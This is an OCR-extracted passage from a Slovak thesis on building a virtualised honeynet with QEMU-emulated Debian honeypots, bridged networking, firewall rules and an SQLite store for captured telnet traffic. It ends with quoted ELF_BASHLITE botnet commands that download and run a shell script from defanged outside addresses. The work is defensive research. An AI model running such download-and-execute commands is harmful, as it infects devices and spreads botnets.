niekol’ko instrukcii a ich sucasné prekladanie. Prikladom nastroja, ktory podporuje plni
virtualizaciu, je Virtualbox [43] vyvijani spolocnostou Oracle. Ide o hypervisor, ktory
podporuje softvérova emulaciu, hardvérovo podporovanti emulaciu a taktiez emulaciu
hardvéru. Zamerany je na architektiru x86 a jej 64 bitova verziu. Spolocnost WMware

[44], ktord patri medzi popredné spoloCnosti v oblasti virtualizdcie, ma vo svojom
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portfoliu nastroje na plna virtualizaciu. Taktiez tu méZeme spomenut’ nastroj QEMU
[45], ktory dokaze emulovat’ dokonca aj samotné procesory. Prave na QEMU virtualizacii

je postaveny jeden z najzndmejsich vysoko interaktivnych honeypotov Qebek [46].

(05) (05) (os)
! )

HYPERVISOR

HARDVER ]

Obr. 9 Schéma plnej virtualizacie

4.2.2 Para-virtualizacia

Dalsim pristupom k virtualizacii je para-virtualizicia [47]. Zahfiia modifikaciu
operacného systému predtym, ako moze byt spusteny vo virtudlnom prostredi. Sucasne
vyzaduje pouzitie otvorené¢ho operacného systému, ktorého zdrojové koédy st verejne
dostupné, alebo proprietarneho, za predpokladu, Ze jeho autor ho pre tuto virtualizaciu
upravi. Tymto pristupom stracame flexibilitu, pretoze takto upraveny a rekompilovany
operacny systém nemdze byt spusteny priamo na fyzickom stroji. Schéma para-
virtualizdcia je znazornena na obrazku ¢. 10. Para-virtualizacia vyuziva Specifické
rozhranie medzi virtudlnym strojom a vrstvou virtualizacie, ktoré zabezpecuje dolezité
operacie jadra opera¢ného systému. Aj ked’ pouzitim tohto virtualizaéného pristupu
stracame flexibilitu, dosahujme s fiou vyssie vykony ako pri plnej virtualizacii. Dosahuje
to tym, Ze nepotrebuje sledovat’ a odchytavat’ privilegované instrukcie a nepotrebuje
ziadneho prostrednika pri hardvérovom volani zo softvéru spustenom na virtudlnom
stroji.

Honeypoty vyuZzivaju tento virtualizacny pristup vo vyraznej miere. Dovodom je
efektivne vyuzitie zdrojov a tiez moznosti zberu udajov z honeypotov, ktoré¢ sa daji
realizovat’ na Urovni virtualizdcie. Prikladom je vysoko interaktivny honeypot Xebek

[20], ktory vyuZziva virtualizacny nastroj Xen.
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Obr. 10 Schéma para-virtualizacie

4.2.3 Hardvérovo asistovana virtualizacia

Tento virtualizaény pristup bola predstaveny na systémoch IBM a neskor ju zacali
podporovat’ aj spolocnosti Intel a AMD na svojich procesoroch. Je nazyvany aj
hardvérova virtualizacia [48]. Ako je mozné vidiet na obrazku €. 11, pri tomto pristupe
je riadenie virtualnych strojov presunuté do hardvérovej vrstvy. Takze hardvér podporuje
vytvorenie virtualizacnej platformy, v ktorej moze byt spustenych niekol’ko izolovanych
virtudlnych strojov. Pozadovany je vSak hardvér s podporou tohto virtualizaéného
pristupu. Fyzicky procesor je virtudlne rozdeleny na niekol'ko virtudlnych procesorov.
Jeden takyto virtudlny procesor je dostupny jednému virtudlnemu stroju. Pomocou tohto
pristupu moze byt nezmeneny operacny systém spusteny presne tak ako pri plnej
virtualizacii. Prave z dovodu zvySovania vykonu vznikol tento pristup. Zacal sa
implementovat’ do vac¢Siny nastrojov, ktoré podporovali plna virtualizaciu. Z tohto
dovodu nastroje ako Virtualbox [43] a WMware [44] ju podporuju tiez. Dalsim prikladom
je KVM [49], ktoré sa Casto spdja s QEMU emulatorom na systémoch Linux, aby

zabezpecil takmer nativny beh operacného systému.
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Obr. 11 Schéma hardvérovej virtualizacie
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4.2.4 Virtualizicia na Grovni operacného systému

Virtualiziacia na urovni opera¢ného systému [48] na rozdiel od predoslych
pristupov virtualizacie nevyuziva hypervisor, ale upraveny operacny systém, ktory
zabezpecuje bezpecnu izolaciu niekol’kych inStancii operacnych systémov. Schému tohto
virtualiza¢ného pristupu je mozné vidiet’ na obrazku €. 12. Vyhoda virtualizacie na Grovni
operaéného systému je najmd vo vykone [50]. Nevyzaduje ziaden hypervisor alebo
odchytavanie inStrukcii, takze sa vykonnostne blizi k vykonom nativnych strojov.
Hlavnou nevyhodou je zdiel'anie spolocného jadra virtudlnymi strojmi. Prave toto jadro
operacného systému sa stara o zdiel'anie spolo¢nych vypoctovych zdrojov. Ak dojde k
chybe v jadre, alebo je kompromitované, vSetky inStancie operanych systémov st
kompromitované. Na druhej strane pritomnost’ jedného jadra ma vyhodu v tom, ze
vyzaduje menej prostriedkov, ako v pripade, Ze by kazda inStancia operacného systému
mala vlastné jadro. Virtudlne stroje sa pri tomto pristupe nazyvaju aj kontajnery. Podla
tohto oznacujeme tento virtualizacny pristup aj kontajnerova virtualizacia. Spolo¢né
jadro nedovol'uje spustenie opera¢nych systémov, ktoré pouzivaju odlisné jadra, teda
nedovoluje pouzitie roznych architektur. Teda operacné systémy Microsoft Windows
a Linux nem6zZu byt spustené sucasne. Izolacia kontajnerov je slabsia a nasadzujl sa tak
r6zne ochranné prostriedky. Pre jej efektivnost’ je vSak mozné pouzit ju pri implementacii
honeypotov. Casto sa s fiou stretavame prave pri operaénom systéme Linux. Zo zndmych

implementécii je mozné uviest’ LXC [51], OpenVZ [52] alebo Docker [53].
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Obr. 12 Virtualizicia na urovni opera¢ného systému

Z prehladu virtualiza¢nych technolégii, ktoré popisujeme vyssie, je zrejmé, ze
s rasticou variabilitou virtudlnych strojov klesa vykon, ktory poskytuju. Pri
implementécii jediného honeypotu ndm nebude prekdzat, Zze dokdzeme spustit’ len

niekol’ko jeho inStancii. Avsak pri budovani vd¢Sieho honeynetu musime tito vlastnost’
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brat’ do tvahy. Vo vicsine pripadov sa zaobideme prave s hardvérovou virtualizaciou
a para-virtualizaciou, ktoré¢ dovol'uju vybudovat’ dostatocne velky honeynet za rozumnu
cenu. Taktiez sa Coraz CastejSie stretneme s virtualizaciou na urovni opera¢ného systému,
¢o vsak so sebou prinasa isté bezpecnostné rizika, ktoré je potrebné doriesit’. V pripade,
ze chceme implementovat’ honeypot, ktory vyZaduje odlisnt architektaru alebo hardvér,
musime siahnut’ po plnej virtualizacii, ktord nam tieto vypocltové zdroje dokaze

emulovat’.

4.2.5 QEMU virtualizaény nastroj

Pretoze sme sa v praci zamerali na botnety Siriace sa zariadeniami postavenymi
na roznych architektarach, pri implementacii ndsho honeynetu sme pouzili prave plna
virtualizaciu. Existuje niekol'ko ndstrojov, ktoré dokdzu emulovat’ r6zne architektiry
procesorov, ako PikeOS [54], OVPsim [55] alebo GXemul [56]. My sme si vSak zvolili
emulator QEMU [45]. Zvolili sme ho z dovodu, ze pri ostatnych je ich nasadenie Casto
obmedzené. Takymi to obmedzeniami je napriklad moznost’ virtualizovat’ iba jeden stroj,
alebo je nutnd modifikdcia operacného systému a taktiez niektoré su obmedzené

licenciou.

QEMU [45] je vol'ne dostupny emulator procesoru, ktory dynamicky preklada
inStrukcie procesoru a virtualiza¢ny nastroj podporujuci plnt virtualizaciu. Poskytuje
teda moznost jednoduchého portovania réznych architektir procesoru s rozumnou
rychlostou emuldcie. Sucasne podporuje viacero vopred pripravenych zariadeni pre
bezproblémovy beh virtualizovanych operacnych systémov. Podporuje aj hardvérovu
akceleraciu emulacie. Architektiry, ktoré dokaze emulovat’ st napriklad x86, ARM,
PowerPC, Alpha, MIPS, MIPSEL a d’alSie. Taktiez aj 64 bitové verzie tychto architektur.
QEMU je mozné vyuzit' v dvoch médoch. Uplna systémova emulacia, ktord emuluje cely
systém vratane procesora a periférii. Pouziva sa na spuStanie réznych operacnych
systémov alebo pri ladeni systémovych kodov. Méd uzivatel'skej emulacie sa pouziva na
spustanie procesov, kompilovanych pre architekturu procesora, ktord je odlisnd od

aktualne pouzitého procesora.
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4.3 Virtualne honeypoty

Dolezitou sucastou kazdého honeynetu su samotné honeypoty. Honeypoty by
mali ¢o najpresnejsSie kopirovat’ redlne zariadenia, ktoré sa na internete mozu objavit’.
Cim redlnejiie prostredie dokidZeme vytvorit, tym viac sa dozvieme o botnetoch
a Skodlivom kode, ktorym sa $iria. Pripojit’ redlne fyzické zariadenia do honeynetu je sice
mozné, avSak z dovodu obstardvacich ndkladov a komplexnosti manazmentu takychto
zariadeni sme sa v praci rozhodli pre virtudlne honeypoty.

Instancia virtudlneho honeypotu v naSom honeynete predstavuje jeden virtudlny
stroj, postaveny na jednej zo zvolenych architektur procesora a operaéného systému.

Vyuzivame virtudlne stroje s procesormi s architektiarou:

e MIPS,

e MIPSEL,
* PowerPC,
* armela

* armhf.

Ako operaény systém vyuzivame volne dostupnui linuxovu distribiciu Debian. Pre tato
distribuciu existuji oficidlne verzie pre vSetky spomenuté architektiry. Linuxové jadro
vSak musime kompilovat’ zvIast, pretoZe oficidlne verzie nepodporujii emulaciu QEMU.
My sme sa rozhodli pre uz hotové jadra, ktoré poskytuje na svojich strdnkach Fabrice
Bellard [57]. Vhodnym operaénym systémom pre nds honeynet je aj OpenWRT [58],
ktory sa vyuziva ako vol'ne dostupny operacny systém pre smerovace. Z bezpecnostnych
dovodov vsak nepodporuje priamo vyuzitie telnetu pre manazment operacného systému.

Tuto sluzbu je mozné povolit’ pri kompilovani a budovani obrazu systému.

Na kazdy virtudlny stroj sme nainstalovali serverovu aplikaciu protokolu telnet
s nazvom telnetd [S9], ktoru sme ziskali z oficidlnych repozitarov distribucie Debian.
Tato sluzba predstavuje pre tto¢nika pristupovy bod do systému honeypotu. Botnety
vyuzivaji zndmu zranitelnost’ tychto zariadeni, a tou su nezmenené prednastavené
zakladné prihlasovacie udaje, teda meno uzivatel'a a heslo (napr. admin/admin, root/toor).
V nasich honeypotoch mame uzivatel'ov, ktory maji nastavené prave takéto prihlasovacie
udaje. Vd’aka tomu, ze operaény systém na ktorom spust'ame virtualne stroje je 64-bitove;j
verzie, mézeme vicSine honeypotov pridelit’ pamédt’ RAM o velkosti 2 GB. Inak je to len

pri virtudlnych strojoch s architektirou ARM. To vSak nie je pre tieto virtudlne stroje
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potrebné, takze kazdy honeypot ma k dispozicii pamidt’ RAM o velkosti 128 MB, ktoru
Standardne prideli emuldtor QEMU. Neobmedzujeme sa takto len na 64-bitovia
architektiru, ale honeynet vieme nasadit’ aj do 32-bitového prostredia, ktoré mé pri
QEMU obmedzenie na pamit’' RAM o velkosti 256 MB pre kazdy emulovany virtualny
stroj. VSetky honeypoty maju pridelené¢ 25 GB virtudlneho diskového priestoru, na

ktorom je uloZend aj samotna distribucia Debian.

Botnety vyuzivaju pri vykonavani prikazov na cielovom zariadeni obete néstroj
BusyBox [60], ktory poskytuje takmer uplne prostredie pre tieto zariadenia. Je to binarny
spustitelny ndstroj, ktory v sebe kombinuje mnoZzstvo beznych nastrojov prikazového
riadku. Vyuziva sa bezne v modemoch a smerovacoch postavenych na Linuxe. Aby bol
Skodlivy kod schopny vyuZit’ tento bindrny stibor, nainStalovali sme ho na kazdy virtualny
stroj z oficialneho repozitara distribucie Debian.

Virtudlne stroje spustame s vypnutym grafickym rozhranim, kedze v naSom
pripade nebude potrebny. Vystup z konzoly je presmerovany do prikazového riadku. Aby
sme zabezpecili nepretrzity beh naSich virtudlnych strojov, pouzili sme nastroj Screen
[61], v ktorom spustame virtudlne stroje. Tento ndstroj zabezpeci, Ze aj po odpojeni
spojenia so serverom ostanil virtudlne stroje zapnuté aich vystup pripojeny
k prikazovému riadku. Aby nam vSak nevznikala kolizia pri pouzivani unikovych znakov,
pretoze aj QEMU aj Screen pouzivaju tie isté, zmenili sme Unikovy znak pre virtualne
stroje na ctrl+t.

Stucasne sme pripravili skripty, ktoré pouzivame pre zjednodusenie spustania
virtualnych strojov. Kazdy virtudlny stroj ma Specificky prikaz na spustenie, ktory
obsahuje niekol’ko prepinacov a ciest k potrebnym stiborom. Tieto skripty je potrebné
spustat’ pod uzivatelom root. Taktiez tieto skripty pridavaju funkcionalitu zalohy
virtudlnych strojov. Pri kazdom spusteni st vytvorené virtualne stroje podl'a predlohy, ¢o
znamena, Ze ich mame v predvolenej konfiguracii. A pri ukonceni sa aktudlna inStancia
ulozi do podadresara a prideli sa jej Casova znamka, kedy bola vytvorend. Takto méame
k dispozicii virtudlne disky aj s pripadnymi zmenami po uto¢nikovi.

Botnet moZze za sebou zanechat’ napriklad binarne subory skodlivého kddu, nieco
vymazat’ alebo pozmenit’. Ak sa tak stane, tieto zmeny v adresarovej Struktire su cennym
zdrojom udajov o spravani sa botnetu. SkutoCnost’, ze linuxova distribucia Debian
podporuje zapis na disk, z nej robi idedlny opera¢ny systém pre nase honeypoty. Bezne

maju tieto jednoduché zariadenia, akymi sa zaoberame, suborovy systém umoziujuci iba
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Citanie. VSetko, ¢o sa ulozi do suborového systému v pamiti RAM, je pri reStarte
opera¢ného systému zmazané.

Kazdy virtudlny stroj mé k dispozicii jedno sietové rozhranie, ktorého MAC
adresa sa nastavi pri jeho Starte. Tieto MAC adresy sl pevne nastavené v pomocnych
skriptoch, ktorymi sa spustaji virtualne stroje. Pomocou tohto sietového rozhrania sa
honeypoty pripdjaju k internetu. Kazdy honeypot mé nastavenu pevnua verejnu IP adresu
zrozsahu, ktory ndm bol prideleny pre vyskumni cinnost. Z dovodu ochrany
zabezpecenia inStitucie v praci neuvadzame tieto IP adresy. Ako doménovy server sme
pouzili rekurzivny doménovy server spolo¢nosti Google (s IP adresou 8.8.8.8), ktory je
verejne pristupny. V radmcei vyskumnej ¢innosti predpokladame, ze DNS komunikécia by
mala prebiehat’ prave s tymto serverom.

Na tomto mieste uvadzame popis konkrétneho spustacieho skriptu (pre procesor
s architektirou MIPSEL). Aj ked’ medzi virtudlnymi strojmi sa tieto skripty ¢iastocne

lisia, ich podstatnd Cast’ zostava. Ostatné skripty su uvedené v prilohe tejto zaverecnej

prace.

1. #!/bin/bash

2. cd $(dirname $0)

3. cp org/*

4. gemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-

malta

-hda debian wheezy mipsel standard.gcow2 -append
"root=/dev/sdal

console=tty0" -nographic -net nic,macaddr=00:16:3e:00:00:03
-net tap

-echr 20

DATE_DIR="old/backup-$ (date +%Y%m%dsHSMSS)"

mkdir ${DATE DIR}

mv vmlinux-3.2.0-4-4kc-malta S${DATE DIR}

mv debian wheezy mipsel standard.qcow2 ${DATE DIR}
echo "VM3 terminated"

O 00 J o U

Riadky skriptu 2 a 3 zobrazuju prikazy, ktoré zabezpeCuju vytvorenie kopie
stiborov virtualneho stroja, na zaklade predlohy v adreséri org. Cast’ skriptu (riadky 5-8)
zabezpeci ukoncenie zabezpecuje archivicia stiborov v podadresari old. Prikazom na
riadku 4 spuStame samotny virtudlny stroj. Prvy prepina¢ -M malta hovori o type
emulovaného stroja. V naSom pripade je to malta (M6zu byt aj iné€, napr. Mipssim, alebo

magnum). Nasledujuce dva prepinace udéavaji cestu kjadru operaéného systému
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a k virtudlnemu disku, ktory budeme pouzivat’. Tento disk je vo forméate qcow?2 [62], Co
je jeden zformatov virtudlnych diskov, ktoré podporuje QEMU. Prepina¢ -append
"root=/dev/sdal console=tty0" sa pouziva pri spusteni jadra, bez pouzitia spustitel'ného
obrazu. Prepinac -nographic zapne virtudlny stroj bez grafického vystupu. Zostava este
nastavit MAC adresu, ktori bude virtualny stroj mat’ na TAP (network tap) virtudlnom
sietovom rozhrani. Docielime to nasledujucim prepinacom -net
nic,macaddr=00:16:3e:00:00:03 -net tap. Ostava posledny prepinac -echr 20, ktory zmeni
unikovy znak. Hodnota 20 udava desiatkova hodnotu znaku t, ktory sa nebude prekryvat’

so ziadnym ndm zndmym unikovym znakom.

4.4 Navrh sietovej infrasStruktiry honeynetu

Pre implementaciu ndsho honeynetu sme dostali niekol’ko verejnych IP adries
z vyskumného rozsahu univerzity. Kazdy honeypot mé teda pridelent jednu verejnti IP
adresu. K sietovej infrastruktre univerzity sit honeypoty pripojené pomocou virtudlnych
sietovych rozhrani. Tieto rozhrania st typu TAP, a teda funguji na druhej vrstve ISO
OSI modelu, nazyvanej aj spojova vrstva (link layer). Aplikacia libvirt [63] zabezpecuje
to, aby sa ethernetové ramce dostali k virtudlnym sietovym rozhraniam. QEMU od verzie
1.1 priamo podporuje vytvaranie tychto rozhrani pre virtudlne stroje. Pre prepojenie
tychto rozhrani k sieti sme vytvorili sietovy most (bridge). Na tento ucel sme pouzili
nastroj bretl [64] z balika nastrojov bridge-utils. Sietovy most prepoji fyzické sietové
rozhranie pripojené k sieti univerzity s rozhraniami honeypotov. Tu sme vyskusali dve
moznosti prepojenia.

V prvom pripade je sie’ovému mostu pridelena IP adresa, a teda virtudlne stroje
dokazu komunikovat’ s fyzickym strojom nielen na Grovni spojovej vrstvy, ale aj sietove;.
Takto ndm staci aby mal fyzicky stroj jedno sietové rozhranie, cez ktoré sa pripajaju k
sieti ako on sam, tak aj virtudlne stroje. Pri implementécii honeynetu je to v§ak neziaduce,
ateda je potrebné¢ nasadzovat’ rdézne ochrany sietovymi filtrami. Trvalé nastavenie

sietového mosta sme previedli v konfiguratnom subore /etc/network/interfaces:

1. auto bro0
2. 1face br0 inet static

3. bridge ports ethO

46



4., bridge fd 0

5. bridge maxwait 0

6. address XxXX.XXX.XXX.XXX
7. netmask 255.255.255.0

8. broadcast xxx.XXX.XXX.XXX
9. network xXxXX.XXX.XXX.XXX
10. gateway XXX.XXX.XXX.XXX

V druhom pripade musi mat fyzicky stroj k dispozicii asponi dve sietové
rozhrania. Sietovy most vyuziva jedno z tychto sietovych rozhrani. V tomto pripade
nema sietovy most pridelena IP adresu a fyzicky stroj teda nevie s honeypotmi
komunikovat’ na sietovej vrstve. Dokaze vSak komunikovat’ na spojovej vrstve. Druhé
rozhranie sa pouzije na pripojenie fyzického stroja k pocitacovej sieti. Tento pripad
zapojenia siete viac vyhovuje implementacnym ndrokom na honeynet. Toto druhé
zapojenie znazorfiuje obrazok Error! Reference source not found.. Taktiez sa tento
sietovy most nastavuje v konfiguratnom subore /etc/network/interfaces. Vynechdme len

nastavenia [P adresy a pocitacovej siete.

ond )

eth0 . ethl E §
Debian OS
br0
eth0 eth0 eth0
VM VM VM

Obr. 13 Zapojenie siete vo virtualnom honeynete




S Implementacia honeynetu

Okrem niekol'kokrat spomenutych honeypotov sa na§ honeynet sklad4 z d’alsich

sucasti, ktoré su zobrazené na obrazku €. 14. Dolezitym prvkom su néstroje, ktoré zberaju

Interna
siet’

udaje o komunikacii medzi honeypotmi a tito¢nikom.

ethl :

A Zber udajov I w

toku telnet.py

sniff.py Webové rozhranie

collectip.py e

filedown.py

F - .
Databa .
L ata aiii,c Debian OS J

Obr. 14 Navrh honeynetu

V ramci tejto zaverecnej prace sme implementovali Styri nastroje (skripty).
Naéstroj telnet.py zachytava telnet komunikaciu s honeypotmi a ukladéd ju do databazy.
Nastroj sniff.py zachytdva TCP a UDP komunikaciu a uklad4 priamo do stiborov pcap
a vybrané udaje aj do databazy. DalSie dva nastroje collectip.py a filedown.py sluzia ako
pomocny zdroj idajov. Viac sa tymto néstrojom budeme venovat v kapitole zaoberajice;j

sa senzormi pre zber udajov.

Riadenie toku idajov ma na starosti udrzat’ bezpecné prostredie v honeynete.
Dovoli uto¢nikovi komunikovat’ s honeypotmi len tol’ko, ¢o mu dovolime. V kapitole

riadenie toku idajov sa tejto problematike budeme venovat’ podrobnejsie.

Dal3ou sti¢astou honeynetu je databaza. Ta uklada prikazy z telnet komunikacie,

udaje o IP adresach uto¢nikov a vybranu komunikéciu s honeypotmi.

V ramci zaverecnej prace sme navrhli aj jednoduché webové rozhranie, ktoré
sluzi na zobrazenie uloZzenych udajov v rozumnej forme uzivatel'ovi. Udaje je mozné

filtrovat’ a usporiadat’ podl'a poziadaviek.
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5.1 Databaza

Okrem ukladania sietovej komunikacie do siborov vyuzivame rela¢nu databazu,
do ktorej vkladdme niektoré vybrané udaje. Pretoze naS honeynet nevyzaduje databézu,
ktoréd by podporovala klient-server architekttru, rozhodli sme sa pouzit’ lokalnu databazu
SQLite [65]. Celé databaza je obsiahnuta v jednom subore, ¢o je jej hlavnou vyhodou pri
archivacii zozbieranych udajov.

Pri zbere udajov vyuzivame osem databazovych tabuliek, ktorych schémy
znazornuje obrazok €. 15. Tieto tabul’ky pouzivame pri vizualizacii zozbieranych tidajov

vo webovom rozhrani a ukladanie dodato¢nych udajov.

dns , ps
x L siosd ’ telnet_commands I:| klmt‘ :&F;ZZA:
connections dst VARCHAR = e
country VARCHAR
qr VARCHAR src VARCHAR
src VARCHAR VARCHAR srcport VARCHAR latitude VARCHAR
s =
srcport VARCHAR i i TIMESTAMP dst VARCHAR longitude VARCHAR
dst VARCHAR S SAMP dstport VARCHAR time_zone VARCHAR
dstport VARCHAR itype I command  VARCHAR | continent VARCHAR
time_stamp TIMESTAMP time_stamp TIMESTAMP
proto VARCHAR download INTEGER
‘ num_pack INTEGER
http_rq files
http_rr . YABCHAR src VARCHAR
= 1 srcport VARCHAR irc
src VARCHAR dst VARCHAR url VARCHAR
Srepott AT dstport VARCHAR SIC VARCHAR name VARCHAR
dst Sl time_stamp TIMESTAMP srcport VARCHAR hash VARCHAR
dstport VARCHAR = dst VARCHAR y
time_stamp  TIMESTAMP T VARCHAR time_stamp TIMESTAMP
S i VARGHAR dstport VARCHAR
status_line VARCHAR pa .
time_stamp TIMESTAMP
location VARCHAR host VARCHAR " oom———"
- VARCHAR user_agent VARCHAR prefix C
content_length VARCHAR command. “VARCHAR
content_type VARCHAR parameter  VARCHAR

trailer VARCHAR

Obr. 15 Schémy databazy honeynetu

NajdolezitejSou tabul’kou spomedzi tychto osem je tabulka telnet commands.
Do nej ukladame prikazy, ktoré boli poslané uto¢nikom na honeypoty prostrednictvom
protokolu telnet. Okrem zdrojovej a ciel'ovej IP adresy a portov obsahuje samotny prikaz,
odoslany na honeypot, ¢asovi znamku a dva dodatoéné stipce. Stipec download moze
nadobudat’ dve hodnoty. Hodnotu 1, ak prikaz obsahuje niektoré zo zaujimavych slov.
V opaénom pripade obsahuje hodnotu 0. Stipec num_pack moZe obsahovat’ kladné celé

Cislo, ktoré predstavuje pocet paketov pouzitych na odoslanie prislusného prikazu.

Dal$ou tabul’kou je connections. T4 obsahuje klasické zdrojové a cielové tidaje

paketu, ¢asovi znamku a typ protokolu, teda ¢i ide o TCP paket alebo UDP datagram.
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DNS komunikéciu ukladame do tabulky dns. Stipec qr obsahuje poziadavku na DNS
server. Ak nie je stipec rr prazdny, tak obsahuje odpoved’ DNS servera. Stipec type
oznacuje typ poziadavky a odpovede DNS spravy. Tabul’ky http_rq a http_rr maju tiez
stipce pre zdrojové a cielové udaje, ¢asovii znamku a niekol’ko hodnét z hlavicky HTTP
paketov (napr. Host, Path, Method alebo Server). Taktiez mame tabul’ku pre IRC
komunikaciu, ktora ma navyse od doterajsich tabuliek 4 stipce, ktorych nazvy sa zhoduji
s ich vyuzitim.

Ostali nam eite dve pomocné tabuPky ips a files. Obe tieto tabul’ky s vypliané
dodato¢ne pomocou pomocnych programov. Prva z nich uchovava informacie
o konkrétnej IP adrese. Okrem udajov o polohe, ma aj stipec, ktorého hodnota 1 hovori,
7ze dand IP adresa je na niektorom blackliste Moocher.io [66]. Naopak hodnota 0
oznacuje situdciu, ze IP adresa sa zatial neobjavila na Ziadnom zich blacklistov.
Tabul’ka files uchovava udaje o prevzatych suboroch, ktoré sa objavili v niektorom
z telnet prikazov. Obsahuje stipec url, ktory predstavuje url adresu ziskaného suboru,
stipec name, ktory predstavuje ndzov lokalneho stiboru, stipec hash, ktory obsahuje hash

ziskaného suboru a stlpec s ¢éasovou znamkou, ktory obsahuje ¢as skopirovania stiboru.

5.2 Riadenie toku udajov

Dalsim prvkom nasho honeynetu je riadenie toku udajov. Je to dolezita sicast
kazdého honeynetu. Vd’aka virtualizacii sme mohli implementovat’ tento prvok na vyssej
vrstve nez su honeypoty. Snazime sa uto¢nika udrzat’ v kontrolovanom prostredi
a nedovolit’ mu utoCit’ na zariadenia mimo honeynet. V pripade botnetu je potrebné
zabezpecit', aby bot nedokazal vykonavat’ itoky, na ktoré bol vytvoreny. Prvym stupiiom
kontroly je manudlne riadenie virtualnych strojov. Administritor moze stroje
kedykol'vek vypnut alebo odstavit od pocitacovej siete. Takato ochrana je vSak
nedostatocnd, pretoze vyzaduje aktivnu Cinnost administratora. D4 sa vSak vyuzit
v krajnych pripadoch, kedy ostatné postupy zlyhaju.

Ked’ze honeypoty zdiel'aju sietovy most s fyzickym strojom, musime v prvom
rade zabezpecCit, aby sa nail Utocnik nedokazal dostat. Inak by mohol mat’ pristup
k ukladanym tdajom a celému riadeniu honeynetu, ¢o je neziaduci stav. Pri navrhu
pocitacovej siete sjednym fyzickym sietovym rozhranim, je tito uloha

komplikovanejSia. Okrem odfiltrovania komunikacie smerujicej na IP adresu fyzického

50



stroja, musime zabranit’ komunikécii aj na spojovej vrstve. Nastroje, ktoré sa na tento
ucel pouzivaju, su iptables [67] a ebtables [68]. Iptables je program, ktory sluzi na
riadenie linuxového firewallu na minimdalne sietovej vrstve. Pomocou neho vieme
nastavit’ pravidla filtrovania IP paketov. V tomto pripade nds zaujima pravidlo zahodenia
vSetkych paketov smerujucich z IP adries honeypotov k fyzickému stroju. Pre spojova
vrstvu je ekvivalentom ebtables. Tu podobne zahodime ramce smerujice od honeypotov
k fyzickému stroju. Filtrovanie na tejto Grovni prebieha na zdklade MAC adries. Na

obrazku ¢. 16 st zndzornen¢ pravidla z nastroja iptables pre sietovy most.

Chain FORWARD (policy DROP

target prot opt source destination

ACCEPT icmp -- anywhere anywhere icmp echo-request

ACCEPT icmp -- anywhere anywhere icmp echo-reply

ACCEPT icmp -- anywhere anywhere icmp destination-unreachable

ACCEPT icmp -- anywhere anywhere icmp time-exceeded

ACCEPT tcp -- anywhere anywhere state NEW,ESTABLISHED tcp dpt:telnet

ACCEPT tcp -- anywhere anywhere state NEW,ESTABLISHED tcp spt:telnet

ACCEPT tcp -- anywhere anywhere state NEW,RELATED,ESTABLISHED tcp dpt:http

ACCEPT tcp -- anywhere anywhere state NEW,RELATED,ESTABLISHED tcp sptihttp

ACCEPT tcp -- anywhere anywhere state NEW tcp dpt:https

ACCEPT tcp -- anywhere anywhere state NEW tcp spt:https

ACCEPT udp -- anywhere anywhere state NEW,RELATED,ESTABLISHED udp dpt:domain

ACCEPT udp -- anywhere anywhere state NEW,RELATED,ESTABLISHED udp spt:domain

REJECT tcp -- anywhere anywhere tcp dpt:telnet flags:FIN,SYN,RST,ACK/SYN #conn src/32 > 3 reject-with icmp-port-unreachable
DROP tcp -- anywhere anywhere tcp dpt:http flags:FIN,SYN,RST,ACK/SYN #conn src/24 > 20
DROP all -- anywhere XXX 4 XXX 0 XXX o XXX state NEW

DROP icmp -- anywhere XXX XXX 0 XXX 0 XXX state NEW

DROP icmp -- anywhere XXX+ XXX 0 XXX 0 XXX

Obr. 16 Nastavenie firewallu pre sie’ovy most

V navrhu pouzivame dva nezavislé siet'ové rozhrania, ¢o zjednodusuje filtrovanie,
a teda zvySuje bezpecnost. Honeypoty nedokazu komunikovat’ priamo s fyzickym
strojom na siet'ovej vrstve. TakZe sta¢i uz len zamedzit’ komunikacii na spojovej vrstve.
Ta vSak nesmieme zakazat' vsetku sietovil komunikiciu, pretoze potrebujeme, aby
virtudlne stroje komunikovali mimo nasu pocitacovu siet. V tomto pripade mdzeme
vyuzit’ ebtables, alebo filtrovanie na zéklade virtualnych sieti (VLAN) na premostenych
sietovych rozhraniach. Tento druhy spdsob je najefektivnej§i a Tahko

implementovatelny. Nasledujuce dva prikazy zabezpecia toto filtrovanie.

1. echo 1 > /sys/class/net/br0/bridge/vlan filtering

2. Dbridge vlan del dev br0 vid 1 self
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Dal3ou poziadavkou kladenou na virtualny honeynet je zabranenie itokom mimo
honeynet. To docielime filtrovanim vSetkej odchadzajicej komunikacie z honeypotov.
Takto ale vytvarame prostredie, ktoré je az prili§ uzavreté a pripadny botnet sa v iom
nedokaze, alebo len vel'mi obtiazne dokaze §irit. Takyto stav nie je bezny, a teda moze
byt pre uto¢nika podozrivy. Z tohto dovodu povolime okrem vstupnej komunikacie aj
niektoré sluzby pre odchadzajucu komunikaciu. V nasom pripade st to hlavne sietové
porty pre protokoly telnet (23/TCP), DNS (53/UDP), HTTP (80/TCP) a HTTS
(443/TCP). Samozrejme povolit mézeme aj rdézne iné sluzby, podl'a toho, kol'ko rdznej
komunikacie chceme uto¢nikovi dovolit. Vyuzivame tiez obmedzenie poctu spojeni,
ktoré mozu byt sicasne nadviazané, a teda znemoziujeme pripadnym utokom vo vi¢Som

meradle. Presné pravidlé su v prilohe E.

5.3 Senzory pre zber udajov

Botnety, ako su Mirai [69] alebo Qbot [69], ktoré sa Siria naprie¢ zariadeniami
IoT, smerova¢mi, DVR (digitalny video rekordér) a IP kamerami, sa snazia §irit pomocou
slabo zabezpecenej telnet sluzby. Prvym priznakom aktivity bota je otestovanie, Ci je
telnet sluzba na zariadeni spustend a ¢i bezi na predpokladanom Standardnom porte. Ak
je dostupnd, snazi sa otestovat’ prostredie, ¢i dokéze spustit’ svoj kdd, alebo ¢i na danom
zariadeni uz nie je spustend jeho inStancia. Potom sa snazi ziskat’ Skodlivy kod, ktorym
sa spusti samotny program bota. Prikladom takychto prikazov je obrdzok ¢. 17. Ide
o prikazy botnetu ELF_BASHLITE.SMB, ktoré inicializujii d’al§iu ¢innost’ bota na

kompromitovanom zariadeni.

cd /tmp

busybox wget http://69[.]1163[.]137[.]115/ .n-rs/’bin. sh
busybox tftp -r bin.sh =g 69[.1]63[.]37[.]115

sh bin.sh

echo =e “\\x62\\x69\\x6e\\x66\\x61\\x67\\x74 '\r\n

cd /tmp/

busybox wget http://176[.]10[.]250[.]37/.njjjjjjrs/bin2.sh
busybox tftp -r binZ2.sh -g 176[.]10[.]250[.]37

sh bin2.sh

echo =e “\\x62\\x69\\x6e\\x66\\x61\\x67\\x74 \r\n

Obr. 17 Priklady prikazov vyuzZivanych pri Sireni botnetu ELF_BASHLITE.SMB
